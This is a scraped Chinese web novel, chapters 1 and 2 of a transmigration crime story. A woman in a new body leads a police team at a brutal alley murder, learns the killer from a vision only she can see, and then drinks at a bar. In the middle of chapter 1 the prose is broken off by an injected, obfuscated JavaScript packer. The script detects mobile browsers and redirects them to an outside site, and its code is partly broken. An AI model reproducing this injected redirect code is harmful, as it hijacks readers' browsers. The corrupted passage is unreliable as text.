《坏东西[破案]》 1. 死亡文案 晚十点,东城区。 攀爬在楼体墙面的无数霓虹灯广告牌将夜空照亮,几条不夜街如沸腾星河般,流淌在东城区这片钢筋丛林的中心处,这其中,酒吧街刚刚才拉开狂欢的序幕。 出租车网约车拉着客人从四面八方而来,私家车像玩填空游戏般,不断填进道路两旁树下的停车位里,有人单手耍帅有人来回磨蹭,也有人一个晃眼就被截了胡。 截胡这位用了快到令人发指的车速,来了个标准非常的侧方停车,令到后面这辆外地牌照的车主,瞪着大眼收起骂娘拍着方向盘由衷喊了句:“漂亮!” 再看见是位妹子跨着大长腿下来,散落的头发随意撩开后,露出一张美得极具冲击力的脸,后车顿时什么怨言都没了。 司机按下车窗咧着嘴亮着眼睛喊:“美女一个人啊?不如一起玩!”酷飒装束的男人怕她误会还解释道,“我们有男有女都是好孩子的!” 好孩子们纷纷从车内探出头,眨巴着眼睛挥舞着手势极力证明:“耶,这是对嘞!”原来是一群玩嘻哈的。 穿着浅灰色修身吊带背心,一条薄款微喇磨边牛仔裤,大概有一米七高像是混血,神情一直淡淡的美女一下笑了,带出嘴边两颗梨涡,一双狐狸眼眨呀眨道:“谢谢你们的邀请,不过我今天没空哦。” 声音一点也不冷,还非常礼貌温柔诶!而且大美女一点也没有将他们当成乱搭讪的精神男女,眼睛里的真诚甚至少许遗憾?——都快溢出来了好吗! 好孩子们慌乱捂住胸口,很是无助地感叹:“啊,我死喽!!!”“美女那加个微讯嘛。”“大锅,你不晓得下车说哦,没得半点子诚意!”“哎呀哎呀交警来了,你大锅必须开走先——” ——池千雪已经将一车的叽叽喳喳声抛在了脑后,她迈着大步乘着风,姿势洒脱地向马路对面走去,刚过斑马线,却是生出了一身薄汗。 末伏的夜,连风都是黏热的。 她站定不动,翻找原主斜挎出来的帆布大包,里面杂七杂八的显然很久没有整理过,竟然还有盒安全套?好像是几天前街边一个推销员强势赠送的…… 在她恨不能将东西全倒出来之前,总算是找出两个黑色大发卡,厚长并自来卷的天生棕发被她摸索着夹起,乱得很有些韵味,整片脖颈重见天日般,终于能够随着肩膀一起呼吸放松下来。 心却还是砰砰砰跳的,跳得好快好快。 因为前面,她本来是小心翼翼开着车,好不容易扫到有空的停车位,着急之下身体的本能竟直接接手,原主的车技自动浮现,上了别人身的池千雪就像鬼上身一般,飞快完成了侧方停车,而她本人从未有过这种体验。 她自己的心若跳成这样,恐怕当场就会挂掉! 那么,在半路上莫名借尸还魂,还被飘出来的原主说了“你来啦对不起随你怎样活都好…”这样的话后,她即便接受了复活在异世界这件事,可她能应对好接下来的种种挑战吗? 她总不能真的随意乱来连累别人,而那么厉害的原主,又为什么要想不开将身体拱手让人呢? 不过想多无益,池千雪暗暗握了握拳头,将包里的证件先固定到腰间,以免到时还要再翻一次,最后看了看手机微讯里的定位信息,往右手边走了大几百米,经过好几间酒吧ktv后,拐进了一条单行道,没走几步,就看到了此行的目的地。 单行道左面第一个路口进去,是条宽窄仅能容单辆小货车通行的巷道,一边是各种酒吧KTV的后门后厨等,一边是看不清长度表面坑坑洼洼的水泥矮墙。 水泥矮墙后是片正待修建的工地,夜晚中只能看见一点影影绰绰的轮廓,整体是空旷的安静的,倚靠这道墙边的一排路灯,有的漆黑有的昏黄,根本照不清楚发生在它们脚下的这桩命案。 路口此时打横着一辆警车,车后围着条警戒线。 因为单行道另一面是个安静的小公园,是以从发现尸体起到现在,路口处并未吸引太多围观群众。 即便有开车路过想要下来看看的,也会被到场的值班交警开罚单的动作吓跑,如今剩下的,便是些混得一般,只能捡漏大媒体不要的新闻而来的媒体人员了。 你说死人算大新闻?嗨,云都哪天不死人,都去拍可要忙死了,而且正常的通报,往往连点水花都溅不起来,悄无声息就过去了。 但落到他们手中又不一样了。 死的是个无名小卒又怎么了,等他们标上几个模凌两可的特征引导一下网友,自然会有人对号入座越闹越大,然后就是澄清不信再反转,一波流量不就到手了?结果无非是账号口碑会变差,但过段时候了谁又会记得呢? 可惜警戒线外的警员很是不留情面,始终将镜头堵得牢牢的,他们也不好做得太过,先磨着呗。 目前他们和过来的池千雪一样,只能看到内里人影攒动,有架可移动灯光增加亮度的,有将后巷各店工作人员分开录口供的,有拿着三维激光扫描仪等工具查找记录线索的,还有就是被人挡住但一定会进行的初步验尸了。 池千雪深呼吸一口气,穿过始终不肯放弃的几个小媒体人,在警员出声喝退前,出示了腰间证件。 警员面色一正,当即立正行礼,还在想该怎么称呼这位,嘴比脑子快:“长官好!” 池千雪一阵心虚,却又不能露怯,想着有礼也能走遍天下,她便很是认真严肃的回了对方一个举手礼。 已经侧身提起警戒线让行的警员一愣,等回过神,这位他只是听说过的名声并不好的刑侦支队副队长,已是到了尸体附近。 年轻的警员正因为领导的郑重回礼而暗自激动着,还来不及惊叹对方的外貌呢,就见眼前几个人忽然集体亢奋,纷纷举起手机相机等或弯腰或跳起来,甚至还有趴地上差点钻到自己大腿下的,个个眼冒绿光像是已经捕捉到了想要的头条热搜。 他紧跟着回头一看,视线中心正是刚刚那位长官,原来她在看到尸体之后,突然踉跄着后退扶墙,竟是哇地一声呕吐了出来…… 现场陷入死一般的寂静,无数道目光先看向池千雪,又看向路口处上蹿下跳闪光灯闪个不停的那些人。 “不好!”警员立刻逼近几人,谁料他们像草丛里的兔子一般,光风吹还没草动呢,就一个弹跳瞬间四散,很快消失在单行道上,单论速度,比警察也不差了。 【警方公然破坏命案现场,目的为何?】 【酒吧街后巷惊现神秘女尸,死法恐怖竟令警队长官级人物喷吐当场!】 【一个如此不专业的美女警官,是怎样混入神圣队伍之中的?希望警方予以回答!】 ……在场众人已经可以想象到几分钟后就会出现在互联网各平台上的热闻标题,不由地面面相觑,但转而又想,其实关他们什么事呢? 他们既不是美女,也不是长官,天塌了上面发言人会顶着,何况这位新上任没多久的池副队长,可是云都市市长唯一的孩子,真正的千金大小姐啊。 刚录完一份通篇“不知道没看见”口供的江望,挥挥手让人先到一边待着,而后瞄了好几眼那道凹凸有致的身影,用手肘顶了顶身旁人,收声道: “曹叔,你还别说哦,长官的身材超辣的耶!真是,平常包那么死穿那么老气干嘛,怕给我们看见哦。” 这位对自己的领头上司显然毫无尊敬,会避过呕吐不提,也只是因为他第一次出现场时表现更糟。 曹空城闻言,当即拿录音笔敲了一下他脑袋警告:“望仔啊,叔教你个好,少看点不健康的,多学点绿色环保,准没错的。” 竟然夸整日板着脸的上司身材辣,搞得正在修身养性能当人爸的他也不自觉瞟了一眼,竖子该打! 幽灵般路过两人的代福音听了个全程,扶了扶鼻梁上的黑框眼镜,掸了掸卡通小猫T恤下摆那根本不存在的灰尘,想要人发现她,又不想让人发现她,最终不屑地翻了个白眼后又无声往里,递过去一瓶纯净水对那狼狈身影道:“长官,喝点水吧。” 代福音很庆幸自己来了,并且顺手拿了瓶放在客厅的纯净水。 实习期很快就要结束,她想顺利留下,上司的意见非常非常重要,可要是让她赤/裸裸地拍马屁,她既不愿意也不擅长,所以她在看到微讯群里有案子的通知后,便决定跟着出现场,不光在警局打杂,现场也要跟进! 有些不大要紧有手就行的工作,完全可以交给她的嘛!这样想的代福音还没找着活呢,就见赶过来的长官,被尸体吓得……啊不,是肠胃不适了! 递完水又递纸的代福音再次扶了扶滑落的黑框眼镜,眼中闪过一道充满智慧的光芒。 . 池千雪看着墙角那滩白黄相间的呕吐物,只觉欲哭无泪,啊,原主晚上难得吃了顿咖喱餐......她真想说:“不好意思,再来一遍!”可惜时空能被她穿越,时间却不能来个倒流。 本来也许可以忍的,偏偏她退到这个墙角后,又闻到了一股明显的尿骚味,这才脱口而出并且吐了又吐,已经丢人了,躲着不起也不能挽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738985|157447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回颜面,池千雪保持俯身屈髋的姿势,收回扶墙拢发的双手,准备掏包拿纸。 代福音就是在这个时候递出了一瓶水。 池千雪当即接过,往更远一点角落去,打开瓶盖使劲漱口,最后干脆洗了把脸,好不容易觉得口腔脸上全部清爽了,这才起身扭头看向跟上来帮助她的小天使。 小天使一头黑发与耳根齐平,戴着一副黑框眼镜,不算厚的镜片后面,一双杏眼忽闪忽闪的,整个人圆圆小小的像个呆萌手办。 池千雪很快调动出记忆,眉眼带笑道:“谢谢你福音,帮了我大忙啦。”说完她终于后知后觉发现,呀,她是不是没能保住原主人设…… 灯月之下,长官的美貌冲击力十足,晶莹的水珠还藏在她眉梢鬓角,一双琥珀色的眼睛更是夺人心魄,眉眼嘴角牵出来的笑容,像浪一般劈头盖脸地拍过来让人眩晕。 代福音哪怕是个直女,也忍不住心肝震颤两下,什么小心机小智慧统统飞走,满脑子:“这还是她那位无事小代有事代福音的古板上司吗?别是被什么精怪夺舍了吧!” 精怪谈不上,但确实换了个芯子的池千雪道完谢后,将空塑料瓶同纸巾装进挎包,强行绷住小脸企图挽回人设,落在众人眼里,便是她因为丢了脸面而不高兴,代福音跟在后头,也是有点摸不着头脑。 诶,等下,她在往哪走?还去看尸体啊!代福音想跟,等走近了又慌忙后退,抚着胸口强忍着不吐,坚决不要吐...... 一步一步,踩过后巷大小不一略有不平的石砖路,池千雪再次来到尸体跟前蹲下。 法医宋辞正指挥助手收拾勘察箱,见到这位年轻长官,他态度温和客气点了点头算打招呼,仿佛不久前初次见面那次,池千雪没有刚一见尸体就大吐特吐这事一样,他开口说道: “死者为年轻女性…经初步勘查,主要死因——为头部遭受钝物多次重击后,脑干损伤内出血所导致的,并未在现场找到符合的凶器,全身衣物则被丢在一旁没发现有缺失的,死者下身有严重撕裂…凶手击倒她后用这根钢管…直白点说就是从外到内被捣烂捣碎了…钢管不知是刻意还是因为有人出现而慌乱落下的。” “不过,死者大腿内侧少了一块巴掌大小呈四方形的皮肉,看边缘,凶手除了钝器,还有一把锋利的刃器,很麻烦啊,会这么做的,大多是连环型凶手……” 说着说着,宋辞皱起眉头,虽然只是个初步勘察的尸检结果,具体的还要回解剖鉴定处细检后才能出报告,但时间宝贵,刑侦这边向来是争取在最开始得到越多的信息越好,这样才有利于后续的侦查安排,这位……果真如传说中那般无能又逞强吗? 看看,他都没说专业术语呢,对方已经听得两眼恍惚,面色呆滞,这哪里是做事的态度呢?宋辞干脆闭嘴,起身等着池千雪,看她用这个状态能将尸体看出什么花来。 池千雪却不能注意这些了,她刚蹲下,看清尸体惨状,听见法医起了个头,人生第一次面对血腥罪恶的直观可怖,难以置信这会是人类能做出来的事,生理反应让她的呕吐欲望卷土重来,就是这个时候,她的眼前突然一花。 一个虚拟光屏般的东西出现,像有人在虚空中的键盘上无声打字一般,光屏上面飞速出现一段又一段的文字: 【上一世,陈惠惨死在了肮脏的暗巷之中,就像她的人生一般,从生到死,从未干净明亮过。 灵魂飘荡多年,再次睁眼时,她竟然重生在高三时的校门口,眼前是从乡下赶来的父母,他们以奶奶生病为由将她骗回了家,强行嫁给了一个暴戾的傻子! “好,我回去看看奶奶。” 站在人生的岔路口,陈惠虽然还是颤抖着说出同样一句话,却是为了做出截然不同的选择,这一世,她要有仇报仇有冤报冤! 这一次她不会被骗,不会嫁给傻子,不会被村民欺负,不会逃到云都当了小姐,不会被那个变态盯上,不会……不会赤裸着全身死不瞑目在那条暗巷之中! 第一:她要傻子死,傻子全家和欺负过她的人都得死! 第二:她要断绝亲情脱离这个可怕的家和能吃人的家乡! 第三:她要赚到一笔钱,接着好好学习忘光了的知识,必须考上大学! 第四:她要积蓄力量,在将来找到那个变态时,能够将他绳之以法,不,这很难,还不如她亲自动手!谁也想不到吧?那个人竟然是…… 立意:乘风破浪,快意恩仇。】 这竟然是一个小说文案。 2. 欲望都市 池千雪看到了一个仅她可见的小说文案。 地上的尸体是如此清晰真实,血腥味犹在她鼻尖处萦绕不散,还有这个世界的风和温度,身边的人和呼吸,酒吧街传来的舞曲和喧闹…… 这明明是个真实世界,地上的人若要重生,这一切一切包括她池千雪,岂不是都要在无知无觉中被倒转的时空洪流堙灭? 前扑街小透明网文写手池千雪分析着: 除非死者重生出一个平行世界,或者按常识来说,一个有些潦草的文案而已,要是预收不达标,也许永远也不会展开下去,甚至故事会被完全的改头换面。 她的思绪飘散:若那些随手一笔的灵感,都能催生出另一个世界和有血有肉的活人,却因为没有下文而成了路人甲甚至消散,那也太可怕了! 不不不,请回到此刻,拥有了穿越必备金手指的池千雪感到遗憾,这个文案没能将凶手写全,或者…… 池千雪深吸一口气,闭了闭眼后凝神再次看向尸体,这次她对着的,是那双望着夜空不能瞑目的无神双眼。 【她再重生十回也不能忘记那张脸,温和慈爱的,受人敬仰的,倾听她痛苦对她诸多帮助的西门牧师啊,他是披着天使外皮的撒旦,在夜晚露出嗜血的真容,他……】 又是一大段一大段的文字,突兀的不像简介也不像正文,也许她不用想得太复杂,文字不过是桥梁,让她能够走到真相面前罢了。 屏幕文字翻滚,是以她无需转动眼珠跟随,落在别人眼里,她就是吓得直了眼,好半天后闭了闭眼又逼着自己继续看了一会,这位还是一如既往的逞强啊,但是至少她没有再吐了,说明有时逞强坚持一下也会有所收获? 池千雪已经无暇顾及自己的表现是否有挽回点什么,她最后看了一眼尸体,起身对显然在等她的法医道:“宋法医,不好意思耽误您时间了,那接下来就辛苦您了。” 她一开口便这样诚恳客气,倒让宋辞一时间不好意思起来:“叫我宋辞就行,不用客气,这是我的工作,那么,池处,我先行一步。” 宋辞一挥手,法医队伍行动起来,很快搬运着尸体上了车,穿过被临时挪开让行的警戒线,消失在池千雪视线之中。 目光再转移,池千雪就看见有个穿制服的男生在收拾墙角呕吐物,啊,那瞬间真是尴尬到头皮都发麻,她还没来得及动作,曹空城先过来了,对池千雪开口道: “截至目前,通过对后巷工作人员的问询得知,死者艺名叫Lucy,20出头年纪,籍贯不详,但有人听口音猜她是西南那边的,固定工作是在巷子那头的嘉年华KTV当‘模特’,有时会陪熟客来附近酒吧玩,推酒很厉害,所以酒吧这边也会结一笔提成给她,这样两年多下来,认识她的人真不少,深交的就一个都没有。” “嘉年华那查不到更详细的信息了,啧,她根本没有按规登记办理夜场从业人员的证件,那经理多抽了钱就睁只眼闭只眼。” 曹空城指了指收拾完墙角,站一边紧张等着的服务生继续: “发现尸体的是最近这间酒吧的服务员。” “这个点正是上客人的时候,一般不会有人出去,他说是因为被客人训了一顿心里不爽,所以也不管手上的工作就出来了,刚点着烟,就看见墙边地上好像有个白花花的影子,路灯坏的坏暗的暗,他一开始以为是哪个女酒鬼,就想上去看要不要‘帮忙’,这才发现是他认识的,立刻报了警。” “经核实后,只能说暂时可以排除他的嫌疑,毕竟同伙犯案也未必不可能。” 话落,那服务员立刻哭丧起脸,被过来的江望嫌弃地赶走了。 “目前还未发现异常人员或情况,痕检科也未发现明显与凶手相关的线索,那根废弃钢管是墙后工地里的,堆在附近一个狗洞口很多天所以很多人都看见过,可能是随手拿的,也可能是提前瞄好了当凶器。” “眼下能够采集到的最近的物证就是脚印了,但这里白日才卸过好几车货,加上傍晚这一条酒吧街的工作人员也从后门进出,所以需要一些时间比对,也许可以找出不符合以上任何一个人的陌生脚印来,同时还是要将这些人再查一遍。” 见说得差不多了,江望在后头插话进来:“照我说哦,这典型的就是男女恩怨激愤情杀,不然在哪动手不行?要在这个说不准哪头哪道门就出来人的地方,还是这种手段,做小姐的嘛,男女关系混乱很正常,拿她手机号一查,准能翻出嫌疑人。” 池千雪闻声望去,江望,一个20多岁的小青年,哪怕站直了也有种吊儿郎当的痞气,眼下这话一出口,还带着一种理所当然的鄙夷,池千雪下意识皱眉,本就故意绷着小脸,如今更是真正冷了下去:“请你慎言,拿证据说话。”说完扭头示意曹空城继续。 已经结束的曹空城:“……是,全都要细细查过,不过今晚就让兄弟们先收队吧?明天拿到死者报告后再核查身份及走访相关……” 啊,这就要收工了吗?池千雪一时沉默,她以为刑侦工作都是十万火急争分夺秒焚膏继晷来着...... 池千雪通过记忆快速分析了一下。 目前她所分管的刑侦支队二队队长正空缺,日常工作都是这位两鬓斑白一心只等退休的曹空城负责安排,行事风格主打一个慢慢来,宁愿错过不愿犯错。 而她担任的刑侦支队副队长一职,按惯例应该是由屡破要案雷厉风行或者善于管理的老将来担任,却偏偏空降了她这只菜鸟。 所以二队的现状实在不太乐观。 池千雪陷入两难之中,若是二队还是记忆中多年前那个强者如云的二队就好了,他们自己就能快速锁定凶手做出决断,或者能向厉害的一队看齐也行啊,她真心宁愿自己的金手指是个用处不大的鸡肋! 可现在她必须做出选择: 说出凶手,她解释不了为什么会知道。 或者当做不知道,让下属自行照惯例一步一步查案,就算期间会浪费无数人力物力,走许多弯路,他们甚至不知道凶手已经不是第一次犯案。 因为凶手看似大胆冲动,会在随时都有人的环境下行凶,其实一切都在他长久观察仔细琢磨后的掌握之中。 他追求享受这种极端紧迫的刺激感,痴迷在巨大压力下尽情释放出他性无能的压力,并通过对“淫/贱者”的惩处,最终得到异样快感,所以他根本没有留下线索。 他就隐藏在特殊身份下,借着外籍身份传教活动等便利,跨区域跨省市的进行了无数起犯罪,没有动机,没有牵连,没有证据。 那些私下对迷途信徒们的照顾,比如借钱比如推荐工作比如劝说读书等等,即便摆上台面也只能证明他是个表里如一的好人,严格遵循善的信念的好牧师。 那段文字后面也交代了,没有证据的情况下,多年里从未有人怀疑牵扯到这位牧师过,而这期间,不断有新的受害者出现!直到并成重案大案才得以真相大白,而那时网上最多的声音竟然是: 【西门牧师是在进行一桩伟大的事业,他为人类清除了罪恶肮脏本身,他最多只需要为吓到普通人道个歉。】 这是一桩棘手的案件,一个烫手的山芋。 池千雪刚穿越到了一个新世界,她应该谨慎小心熟悉所有状况后,再走出第一步,就像过往,她每做一件小事,都得小心翼翼探出了触角,没有危险后才可以继续,何况这等大事。 可现在,一颗健康的心脏正砰砰跳着仿佛在质问:“没有了生命危险,你还要这样吗?明知有人会死,但因为害怕,就装作没办法不知道自我安慰吗?你池千雪想过那么多若是有能力就一定会做要做的事,都是空口白话吗?” 痕检科人员已经离开,后门那些工作人员录完口供后也已回去工作,还留在现场的基层警员及二队同事们全都在等她下文,也认定她给不出什么特别的下文,那个叫江望的甚至不爽地抽起了烟,又被附近一直没说过话只默默做事的步青云给掐灭了。 池千雪下定了决心便不再犹豫:“曹叔您稍等我下。”说完便侧身拿出手机,假装接起一个电话:“恩,恩,你确定吗?好的!非常感谢!” 一通旁人完全听不出有效讯息的电话,却让挂断电话的池千雪亮起了眼睛,紧跟着她转正身体,环视原地待命眼神茫然的二队所有成员,尽量用不容置疑的气势(也就是一板一眼几字一顿)出声道: “据可靠线报,有人看见东城区大教堂西门牧师从此地仓皇逃出,形迹相当可疑,你们立刻出发,先将那位牧师请到警局协助调查,以防他毁灭证据,记住,先关他一夜,什么都不要说不要做只管下班,一切等明天,我会请上头签发搜查令。” 说完,心脏开始狂跳,脸上开始发烧,她觉得自己的演技一定很拙劣吧,看队员们面面相觑后欲言又止的模样就知道,不行,不能让他们开口,万一说不过,她一定会泄气露馅的! 她挺直背脊先声夺人:“立刻出发,这是命令。” “好的长官,收到长官!” 队员们条件反射般齐齐回复,并立刻展开行动。 他们当然会感到疑惑,开车上路后,司机江望藏不住话,一个红绿灯都没过就带头问了出来,问完他阴阳怪气道:“请你慎言,拿证据说话~切,命令我们直接抓人的时候,怎么不拿证据了?就凭一个电话吼?世上有那么巧的事?” 副驾上曹空城一脸意味深长道:“咱们的池市长翻手为云覆手为雨,既然能安排他女儿空降分局,难道就不会安排些人脉手段帮助宝贝女儿开展事业?” 江望和代福音顿时恍然大悟的样子,只有步青云扯了扯嘴角,他抱胸靠上椅背,壮硕的个子塞在车厢内,空气都被提升了好几度,鼻子喷热气心里嘀咕着: 什么人脉手段能那么巧那么快就找到一件随机命案的目击者?不过他却也没拆前辈的台,运气也是实力吧,他家族有位长辈,破起案来更邪乎。 代福音抓紧了扶手,在对车速过快的担忧之中诚心发问:“那岂不是说,只要池长官一直在,我们的破案率就不用愁了?” “这是不可能的。”步青云抬眼道,生怕年轻人被曹叔忽悠瘸。 “你想得美,当然是破上几起大案,顺理成章让我们的池长官接着往上升啊。”江望一经提醒立刻就看穿了其中道道,有些愤愤地喊着。 ——等下,江望看着后视镜脱口而出: “小代,你什么时候来的?” 步青云无语:“这么个大活人都看不见,你可真行,还干警察呢!” 曹空城再次转头往自己后座看:“我是好像看到你了,但你什么时候上车了?” “算了算了,老是走路没声儿神出鬼没的我也习惯了,不过我们现在是去‘请’人的,实习生就别掺和了,望仔,等会路过地铁站放她下来。” 代福音不服气,但她不能说,只能耷拉脑袋应下。 其实关实习什么事哦,今天要换成个一米九大高个实习生在这,不去他们都要拉走…… 曹空城和江望还在继续你一言我一语: “还别说,小代这名字,很像信教的啊?那更不能让她去了。” “叔,您别问我啊,她就在后头。” “我不信的。” “哦,那就是你爸妈信。” “我爸妈也不信,爷爷奶奶也不信,我叫福音是因为爷爷叫文福,奶奶叫音花了啦!!!” “好了啦好了啦,不要激动嘛……” 代福音气鼓鼓地看向窗外,早知道就蹭池长官的车了,还能再培养培养感情! . 随着人员离场光线暗去,酒吧街的这条后巷恢复了往日冷清。 池千雪退入昏暗之中,悄悄吐出一口气,放松下来后,她才发现自己的肩颈背部肌肉之前绷得到底有多紧,以至于这会哪哪都是酸痛胀麻的不适感。 她没有参与“逮捕”西门牧师,除了她需要静静,也是因为并非必要。 若非二队队长空缺,原主又极力想锻炼自己,她甚至不需要出现场,完全可以选择坐在办公室里,主持大局安排会议指示行动提供支持——如批准申请,并做好对上级的口头及书面报告,参加公安系统内大小会议等等这些,池父就是这样建议的。 好吧,除去那些冠冕堂皇的理由,她其实就是有点怕,怕一切的未知,她急需要缓一缓。 哎,心里一直乱乱的,但是该回家了,家啊…… 池千雪对路口收尾的警员们道了辛苦,将包里的垃圾好好丢掉,将证件放回包里,再走出单行道,不过一个拐弯后,就仿佛进入了另外一个世界。 红尘嚣嚣,轰然涌来。 她回去车边,本想扫码付款回去,随意抬头后,突然改变了想法。 池千雪走进了她从未踏足过的酒吧。 . 浮Fall·Whisky·Cocktails·Bar。 这是一间放着爵士乐的清吧。 长长一圈吧台只坐了零星几人,倒是卡座沙发几乎被人坐满,好几桌都将这儿当成蹦迪的酒吧一样,玩骰子的划拳游戏的站起来摇摆的,嘻嘻哈哈的声音几乎快将屋顶掀翻,少数几桌在聊天的,偶尔瞥过去,就算有不满,也只能忍住了。 年轻人是惹不起的,一旦酒精上头天不怕地不怕爸妈也敢打,像他们这种下班找个地方释放压力的有家有业的可怜的中年人,哪里敢跟人家对上。 池千雪环视一圈,眼中满是好奇惊讶,随着她的左张右望,空中接二连三响起了口哨声,有人蠢蠢欲动有人已经拿着酒杯站了起来。 池千雪想了想,俗话说“智者不入爱河,好女孩不去酒吧”,因为据说酒吧比较乱,有极个别好人有极多的坏蛋,独自一人尤其女生不可以去的,会很危险防不胜防根本应付不了! 恩,那这样好了,她拉开包包,掏出了警官证,别到了腰间左前侧,显眼的警徽朝外,明晃晃昭示着主人的身份。 左侧迎过来的酒保不吭声了,信心满满走来的那位男士,刚到池千雪身前几步,也突然一个急转弯奔向最近那桌:“哥们很面熟啊?咱是不是认识?咦?你在哪读的高中?初中?小学呢?妈呀!张伟啊!!!我是你小学同桌小明啊!” 池千雪边听边走,心想:“哇,好巧哦!” 警官证成功让左侧人群收声个个乖巧如鹌鹑,让右侧人群因为对面而疑惑所以不敢轻举妄动,她就这样穿过人群到了清净许多的吧台。 池千雪坐上吧台当中的位置,随意瞥了眼右手相隔一个座位的客人后,她就被前方高到屋顶,占满整面墙的酒墙吸引住了,因为仰头看得专注,甚至下意识身体后仰张开了嘴,这个反应显然逗乐了刚从墙后出来的调酒师兼老板: “好多人来都一副见怪不怪的模样,害我以为集齐这所有酒没什么大不了一样。” “靓女妹子,哥这必须请你喝一杯,喜欢啥?第一次来阿浮?”一口东北音的调酒师继续道,“不光第一次来阿浮,看着还是第一次进酒吧的样子,哈哈,会喝酒不?说说,我给你调杯合适的。” 池千雪也不扭捏:“好啊,我确实第一次来酒吧啦,恩,我没喝过酒,不,喝过些葡萄酒、白酒、鸡尾酒、威士忌这种?啊,我好像都会喝点。”她不好意思补充道:“家里聚会喝过一点点,不是讲大话啦。” 她也是说完才回想起来,虽然真正的她滴酒不能沾,但原身参加过无数的家族聚会、商业酒会、各类宴会,她会喝还很能喝,就代表这具身体也是,详见侧方停车! 调酒师爽朗笑开,不带任何猥琐道:“是啊,没喝过酒,只喝过洋酒白酒葡萄酒调和酒,靓女你太幽默了!等着,哥请你喝第一杯!” 池千雪咧嘴笑,大声:“好嘞,谢谢哥!”口音也不自觉跟着跑了,就是声音太脆太甜,右手边那位终于忍不住看了过来。 池千雪立刻察觉到,回看过去,只看到一张起伏流畅立体的侧脸,握住酒杯的手掌很宽阔手指细长,是个绝对英俊帅气的男人,男人此刻微微垂眸不动,躲避得有些明显,既然如此,她就收回了打招呼的念头。 “来,这杯酒名叫偶遇,喝喝看。” 漂亮的橙粉色鸡尾酒很快上桌,和隔壁客人手中那杯很像,看来这是老板的安全牌,不知道喝什么就推荐这个,池千雪拿出了手机拍照并自拍,纪念她真正意义上的第一次,接着小心翼翼喝了一口:“哇,跟果汁一样。” 那个夹杂其中的奇怪味道就是酒?好喝不好喝的真不好形容,再喝喝看看! 喝酒配回忆,深沉又美丽,池千雪竖大拇指给调酒师Bob后一边品尝一边整理思路。 8月17日晚9点48分,抢救无效的她,穿越到了一个和她同名同姓甚至同样五官的女孩身上,疑似对方做了什么或者知道什么,如今已不得而知。 这里是天蓝星华国,像蓝星的平行世界,历史相差不多,近现代出入却有些大,但总之两个世界同文同种科技水平也相当,华国同样是世界强国。 原主在华南地区的直辖市云都出生长大,父亲本是基层芝麻小官,娶了她妈妈后在岳丈提携下平步青云,妈妈生病死后也不敢续娶,哪怕只有一个女儿。 但其实,他很快就 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至于最初为什么选择从警,那是因为原主童年时被绑架过,最后是大批警察从天而降解救了她。 后来父母为了她能自保,她也为了实现志向,努力练武十多年,练出一身实打实的活肌肉,不用时只见到紧致线条,爆发时全身皆是能量,可惜她的综合格斗力量技巧都有,偏偏就缺少实战…… 想远了,池千雪举杯喝了口酒,又抬胳膊欣赏了会自己的肌肉...总之,这样有目标有能力坚韧优秀且努力的原主为什么会离开呢? 她突然想到什么拿出手机开始翻找,最终她停在一个微讯对话框上: 【有事找你,务必通过哦!】 【你已添加了池宝最可爱,现在可以开始聊天了。】 【图片】 【图片】 【图片】 【视频】 对方甩出三张图片一个视频,没有再发过文字消息,也不必要发了,而原主也没有回复过,但她一定点开看了,因为第一张图片正是她父亲的正面特写。 为什么自己偏偏没有这段记忆呢?是因为当时刚好处在灵魂交换的交界点吗?池千雪点开图片。 一个长相儒雅温和的中年男人,抱着一个都能上小学了的大男孩,男孩贴着他耳朵不知说了什么,所以他笑得眉眼弯弯,正好被镜头拍摄了下来。 第二张是外人面前威风凛凛的池大市长,竟让这么大个孩子骑上了他的脖子,原主小时候都没有过,池千雪越看越气,他没事吧? 第三张是三人合影,一个长相柔美看着也就20多岁(其实应该至少30)的女性,依偎在男人肩上,两人各自伸出一只手,搂住了下方孩子,好一个三口之家! 第四个视频…… 这是一个家庭聚会,长长餐桌上坐满了原主父亲这边的亲人,客厅角落摆放堆叠着无数礼物。 灯光忽然暗下,三层大蛋糕被孩子的父母一起推出来,生日歌响起,男孩高兴地上蹿下跳蹦来蹦去,所有人都慈爱宽和的看着他祝福他拥抱他,再由着他进入隔壁厅和小朋友们用游戏的方式重过一次…… 好长,好刺眼的一段视频,发送人其心可诛! 池千雪捏着手机,气得猛灌一大口酒,非但顺不下去,鼻子也开始酸了,很显然,发送人达到了目的,原主突然间万念俱灰,深觉无人爱她一切都是徒劳,也不知怎么的就吸引了自己的魂魄过来? 她们一定有着某种渊源。 池千雪打开脑洞,也许宇宙中有无数平行世界,很多世界都有一个池千雪,她来到这里,原主也可以去到别处,她肯定会有新的机遇好的人生,一定会的! 她吸了吸鼻子仰头又是一口,结果喝了口冰块,杯子已经空了,而且这已经是调酒师默默换上的第三杯了,她还什么感觉都没有呢,连小说中什么脸烫了起来,身上有点热的微醺感都没找到。 “这次试个不一样的吧。”池千雪将空酒杯一放,展现出一种千杯不醉的豪气来。 Tequila,两排小杯纯龙舌兰酒放到了池千雪面前,调酒师教她,咬一口柠檬角,舔一下放在手虎口部位的盐,再快速端起一小杯龙舌兰一饮而尽,复杂的程序构建出复杂的口味,可将酒杯往台面一放的时候,感官中就只剩下痛快二字! 池千雪喝得不亦乐乎,隔壁的青年终于又转头看过来,不知是哪来的胜负欲,他也将手上那一杯至少喝了半个钟的鸡尾酒干了,对调酒师道:“麻烦来个和她一样的。” 这就对咯,调酒师笑着应了,这么大高个一个爷们,坐下只点一杯偏甜口的鸡尾酒,还一喝就是至少半小时,闹呢! 池千雪还在想要不要为原主报个仇什么的,就见隔壁大帅哥一杯接一杯,眨眼间喝完了小两排龙舌兰,根本不像她需要停顿缓缓,于是她也想突破突破,很快就将剩下的喝完了。 莫名其妙的,一场比拼开始了。 她闷一口,他余光一见紧随而上,他喝完又到池千雪继续,双方保持着这种微妙的默契,直到从龙舌兰换回到经典的长岛冰茶再到金汤力喝完,拿着调酒师倒的威士忌,听他说不加冰才纯正的两人,到这会才终于面对面视线相交。 